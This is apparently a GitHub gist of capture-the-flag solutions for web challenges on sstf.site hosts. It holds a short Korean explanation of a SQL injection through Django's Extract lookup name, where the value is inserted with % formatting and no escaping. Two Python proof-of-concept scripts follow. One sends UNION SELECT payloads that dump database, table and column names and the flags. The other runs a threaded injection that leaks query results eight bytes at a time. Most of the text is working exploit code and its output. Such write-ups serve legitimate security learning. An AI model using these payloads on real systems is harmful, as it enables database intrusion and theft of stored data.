Last active
August 26, 2023 04:36
-
-
Save l0vey0u/055f1abd080c1c26d51fd5b373f5d13a to your computer and use it in GitHub Desktop.
Revisions
-
l0vey0u revised this gist
Aug 26, 2023 . 1 changed file with 0 additions and 32 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,35 +1,3 @@ import requests from bs4 import BeautifulSoup -
l0vey0u created this gist
Aug 26, 2023 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,62 @@ # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/models/functions/datetime.py#L41-L75 class Extract(TimezoneMixin, Transform): ... def __init__(self, expression, lookup_name=None, tzinfo=None, **extra): if self.lookup_name is None: self.lookup_name = lookup_name ... def as_sql(self, compiler, connection): ... elif isinstance(lhs_output_field, DateField): sql = connection.ops.date_extract_sql(self.lookup_name, sql) ... return sql, params # https://github.com/django/django/blob/9736596bce4f711ccf2914284938d85748838c94/django/db/backends/postgresql/operations.py#L49-L59 def date_extract_sql(self, lookup_type, field_name): # https://www.postgresql.org/docs/current/functions-datetime.html#FUNCTIONS-DATETIME-EXTRACT if lookup_type == "week_day": # For consistency across backends, we return Sunday=1, Saturday=7. return "EXTRACT('dow' FROM %s) + 1" % field_name elif lookup_type == "iso_week_day": return "EXTRACT('isodow' FROM %s)" % field_name elif lookup_type == "iso_year": return "EXTRACT('isoyear' FROM %s)" % field_name else: return "EXTRACT('%s' FROM %s)" % (lookup_type, field_name) ``` `Extract('pubdate', {search_with})` 는 `EXTRACT('{search_with}' FROM {field_name})`의 형태로 SQL query에 삽입되게 됩니다. 이때 `%` operator는 quote에 대해 별도의 escape 절차 없이 문자열에 삽입되기 때문에 sql injection에 취약하게 됩니다. Exploit은 EXTRACT 함수를 완성 후 이전 문제와 같이 union select를 통해 data leak을 하면 됩니다. ### PoC ```python import requests from bs4 import BeautifulSoup URI = "http://libreriapro37657fd3.sstf.site" params = { "key": 2016, "search_with": "year", "currency":"krw" } def _request(params): resp = requests.get(URI, params=params) soup = BeautifulSoup(resp.text, 'html.parser') for td in soup.select('td'): if "None" not in td.get_text(): return td.get_text() params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(datname,','), null, null, null, null, null, null, null, null from pg_database -- a" print(f"[database] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(table_name,','), null, null, null, null, null, null, null, null from information_schema.tables where table_schema like 'books' -- a" print(f"[table] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(column_name,','), null, null, null, null, null, null, null, null from information_schema.columns where table_name like 'impl_t0p5ecr3t' -- a" print(f"[columns] {_request(params.copy())}") params['search_with'] = "year' from '2021-02-03 15:23:22.23242'::timestamp) from impl_books where false union select null, string_agg(value,','), null, null, null, null, null, null, null, null from impl_t0p5ecr3t -- a" print(f"[impl_t0p5ecr3t][value] {_request(params.copy())}") # >> [database] postgres,template1,template0,books # >> [table] django_migrations,django_content_type,auth_permission,auth_group,auth_group_permissions,auth_user,auth_user_groups,auth_user_user_permissions,django_admin_log,impl_books,django_session,impl_t0p5ecr3t # >> [columns] id,key,value # >> [impl_t0p5ecr3t][value] Nice!,SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te} This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,99 @@ import requests import string from functools import wraps from concurrent.futures import ThreadPoolExecutor import time URI = "http://libreria.sstf.site/rest.php" all_data = {} def long_to_bytes(longd): hexs = hex(longd)[2:] return ''.join([chr(int(hexs[i:i+2],16)) for i in range(0, len(hexs), 2)]).replace("\x00", "") def extract_int(result): return int(''.join(x for x in result if x.isdigit())) params = { "cmd": "requestbook", "isbn": "" } def _future_completed(future): """ Helper for run_in_executor() """ exc = future.exception() if exc: print("Failed to run task on executor", exc_info=exc) executor = ThreadPoolExecutor() def run_in_executor(f): """ A decorator to run the given method in the ThreadPoolExecutor. """ @wraps(f) def new_f(*args, **kwargs): try: future = executor.submit(f, *args, **kwargs) future.add_done_callback(_future_completed) except Exception: print("Failed to submit task to executor") return new_f result = {} @run_in_executor def _request(params, req_id=0): resp = requests.get(URI, params=params) if "already" in resp.text: result[req_id] = extract_int(resp.text) else: print(resp.text) result[req_id] = -1 def leak_data(query): global result # get data len # query example: select string_agg(datname, ',') from pg_database params['isbn'] = f"1' union select 1000000000+(select length(({query}))) -- a" _request(params) time.sleep(4) result_int = result[0] result = {} if result_int == -1: return result_int -= 1_000_000_000 _round = result_int // 8 for i in range(_round): params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from generate_series(1,length(string_agg), 8) for 8) from a group by string_agg limit 1 offset {i})c -- a" _request(params.copy(), i) if result_int % 8 != 0: rem = result_int%8 params['isbn'] = f"1' union select concat('x',encode(substring::bytea, 'hex'))::bit(64)::bigint from (with a as ({query}) select substring(string_agg from {result_int-rem+1} for {rem}) from a group by string_agg)c -- a" _request(params.copy(), _round) time.sleep(4) data = '' for i in range(_round): data += long_to_bytes(result[i]) if result_int % 8 != 0: data += long_to_bytes(result[_round]) result = {} return data import time start = time.time() print("[Database]") print(leak_data("select string_agg(datname, ',') from pg_database")) print("[Table]") print(leak_data("select string_agg(table_name, ',') from information_schema.tables where table_schema = 'books'")) print("[Column][adminonly]") print(leak_data("select string_agg(column_name, ',') from information_schema.columns where table_name = 'adminonly'")) print("[value][adminonly]") print(leak_data("select string_agg(value, ',') from adminonly where value ilike '%SCTF{%'")) print(f"duration = {time.time() - start:.2f}s") # >> [Database] # >> postgres,books,template1,template0 # >> [Table] # >> adminonly,books,employee # >> [Column][adminonly] # >> idx,key,value # >> [value][adminonly] # >> SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5} # >> duration = 32.05s